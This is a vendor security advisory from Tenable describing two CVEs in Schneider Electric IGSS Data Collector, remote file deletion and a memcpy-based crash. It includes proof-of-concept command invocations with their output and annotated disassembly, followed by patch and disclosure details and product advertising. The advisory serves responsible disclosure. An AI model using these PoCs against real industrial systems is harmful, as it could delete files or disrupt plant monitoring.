Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Schneider Electric IGSS Data Collector Multiple Vulnerabilities

High

Synopsis

While researching ICSA-21-285-03 for Nessus plugin coverage, Tenable found multiple vulnerabilities in Schneider Electric IGSS Data Collector (dc.exe) v15.0.0.21301.

Unauthenticated Remote File Deletion

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:L (6.5)

The IGSS Data Collector (dc.exe) does not check the user-supplied file to be deleted when handling opcode 60. An unauthenticated remote attacker knowing the IGSS project directory can exploit this to delete arbitrary files on the dc.exe host under the security context of the user account running dc.exe.

POC:

python3 igss_dc_opcode_60_file_deletion.py -t <target> -p 12397 -f 'C:\tmp\delete_me.txt' -d 'C:\ProgramData\Schneider Electric\IGSS32\V15.0\GssDemo\'
Using IGSS project directory C:\ProgramData\Schneider Electric\IGSS32\V15.0\GssDemo\

This script attempts to delete C:\tmp\delete_me.txt on the remote target host
provided the specified project directory is correct for the remote IGSS.
If the specified project directory is incorrect, file deletion will fail.
Please save a copy of the file and ensure a correct IGSS project directory
before continuing the script.

Press c/C to continue or any other key(s) to quit: c
Sending a specially crafted message
Please check if C:\tmp\delete_me.txt has been deleted on the target host

Unauthenticated Remote DoS

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H (5.9)

The IGSS Data Collector (dc.exe) does not properly check the user-supplied size of compressed data when handling opcode 101. dc.exe does a signed integer comparison for the check. A negative size will pass the check but that size will be treated as a very large positive integer later when it's passed to memcpy():

dc.exe v15.0.0.21301
<...snip...>
.text:0047EE69    mov     ecx, [eax+1Ch] ; attacker-controlled size
.text:0047EE6C    mov     [ebp+DataSize], ecx
.text:0047EE72    mov     edx, [ebp+var_2D8]
.text:0047EE78    mov     eax, [edx]
.text:0047EE7A    add     eax, [ebp+DataSize]
.text:0047EE80    cmp     eax, 7534h
.text:0047EE85 signed int comparison
.text:0047EE85 0xffffffff (-1) would pass the size check
.text:0047EE85    jle     short ok_47EEF1 ; attacker-controlled size
.text:0047EE85                          ; (i.e., 0xffffffff)
<...snip...>
.text:0047EEF1 ok_47EEF1:               ; CODE XREF: sn_receive_file+225↑j
.text:0047EEF1    mov     edx, [ebp+DataSize] ; attacker-controlled size
.text:0047EEF1                          ; (i.e., 0xffffffff)
.text:0047EEF7    push    edx           ; Size
.text:0047EEF8    mov     eax, [ebp+arg_0]
.text:0047EEFB    add     eax, 20h ; ' '
.text:0047EEFE    push    eax           ; Src
.text:0047EEFF    mov     ecx, [ebp+var_2D8]
.text:0047EF05    mov     edx, [ecx+14h]
.text:0047EF08    mov     eax, [ebp+var_2D8]
.text:0047EF0E    add     edx, [eax]
.text:0047EF10    push    edx           ; void *
.text:0047EF11    call    memcpy
<...snip...>

An unauthenticated remote attacker knowing the IGSS project directory can exploit this to crash dc.exe, which restarts.

POC:

python3 igss_dc_opcode_101_dos.py -t <target> -p 12397 -d 'C:\ProgramData\Schneider Electric\IGSS32\V15.0\GssDemo\'
Using IGSS project directory C:\ProgramData\Schneider Electric\IGSS32\V15.0\GssDemo\

Note that if the specified project directory is incorrect
dc.exe will not be terminated.

Sending a specially crafted message
Traceback (most recent call last):
  File "/work/0day/igss_dc_opcode_101_dos.py", line 64, in <module>
    s.recv(1024)
ConnectionResetError: [Errno 104] Connection reset by peer

Solution

Users are advised to download and install version 15.0.0.21321 of the IGSS DC module, dc.exe, which includes fixes for these vulnerabilities. This version of the module can be downloaded at
https://igss.schneider-electric.com/igss/igssupdates/v150/IGSSUPDATE.ZIP.

Disclosure Timeline

November 3, 2021: Tenable notifies Schneider Electric of vulnerabilities
November 3, 2021: Schneider acknowledges notification, asks for proof of concept scripts
November 4, 2021: Tenable sends PoC scripts to Schneider
November 4, 2021: Schneider acknowledges receipt of scripts, assigns internal tracking numbers 5312, 5313 to issues
December 1, 2021: Schneider shares draft of their security advisory with Tenable, declares publication date to be December 14, 2021
December 14, 2021: Schneider publishes advisory, and assigns CVEs CVE-2021-22823 and CVE-2021-22824 to the issues

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID
TRA-2022-03
Risk Factor
High
tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable.io Vulnerability Management trial also includes Tenable Lumin, Tenable.io Web Application Scanning and Tenable.cs Cloud Security.

tenable.io BUY

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

65 assets

Choose Your Subscription Option:

Buy Now

Try Nessus Professional Free

FREE FOR 7 DAYS

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy Nessus Professional

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save. Add Advanced Support for access to phone, community and chat support 24 hours a day, 365 days a year.

Select Your License

Buy a multi-year license and save.

Add Support and Training

Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable.io Vulnerability Management trial also includes Tenable Lumin, Tenable.io Web Application Scanning and Tenable.cs Cloud Security.

Tenable.io BUY

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

65 assets

Choose Your Subscription Option:

Buy Now

Try Tenable.io Web Application Scanning

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable.io platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Your Tenable Web Application Scanning trial also includes Tenable.io Vulnerability Management, Tenable Lumin and Tenable.cs Cloud Security.

Buy Tenable.io Web Application Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578

Buy Now

Try Tenable.io Container Security

Enjoy full access to the only container security offering integrated into a vulnerability management platform. Monitor container images for vulnerabilities, malware and policy violations. Integrate with continuous integration and continuous deployment (CI/CD) systems to support DevOps practices, strengthen security and support enterprise policy compliance.

Buy Tenable.io Container Security

Tenable.io Container Security seamlessly and securely enables DevOps processes by providing visibility into the security of container images – including vulnerabilities, malware and policy violations – through integration with the build process.

Try Tenable Lumin

Visualize and explore your Cyber Exposure, track risk reduction over time and benchmark against your peers with Tenable Lumin.

Your Tenable Lumin trial also includes Tenable.io Vulnerability Management, Tenable.io Web Application Scanning and Tenable.cs Cloud Security.

Buy Tenable Lumin

Contact a Sales Representative to see how Lumin can help you gain insight across your entire organization and manage cyber risk.

Try Tenable.cs

Enjoy full access to detect and fix cloud infrastructure misconfigurations and view runtime vulnerabilities. Sign up for your free trial now.

Your Tenable.cs Cloud Security trial also includes Tenable.io Vulnerability Management, Tenable Lumin and Tenable.io Web Application Scanning.

Contact a Sales Rep to Buy Tenable.cs

Contact a Sales Representative to learn more about Tenable.cs Cloud Security and see how easy it is to onboard your cloud accounts and get visibility into both cloud misconfigurations and vulnerabilities within minutes.

Try Nessus Expert Free

FREE FOR 7 DAYS

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Already have Nessus Professional?
Upgrade to Nessus Expert free for 7 days.

Buy Nessus Expert

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Select Your License

Promotional pricing extended until December 31st.
Buy a multi-year license and save more.

Add Support and Training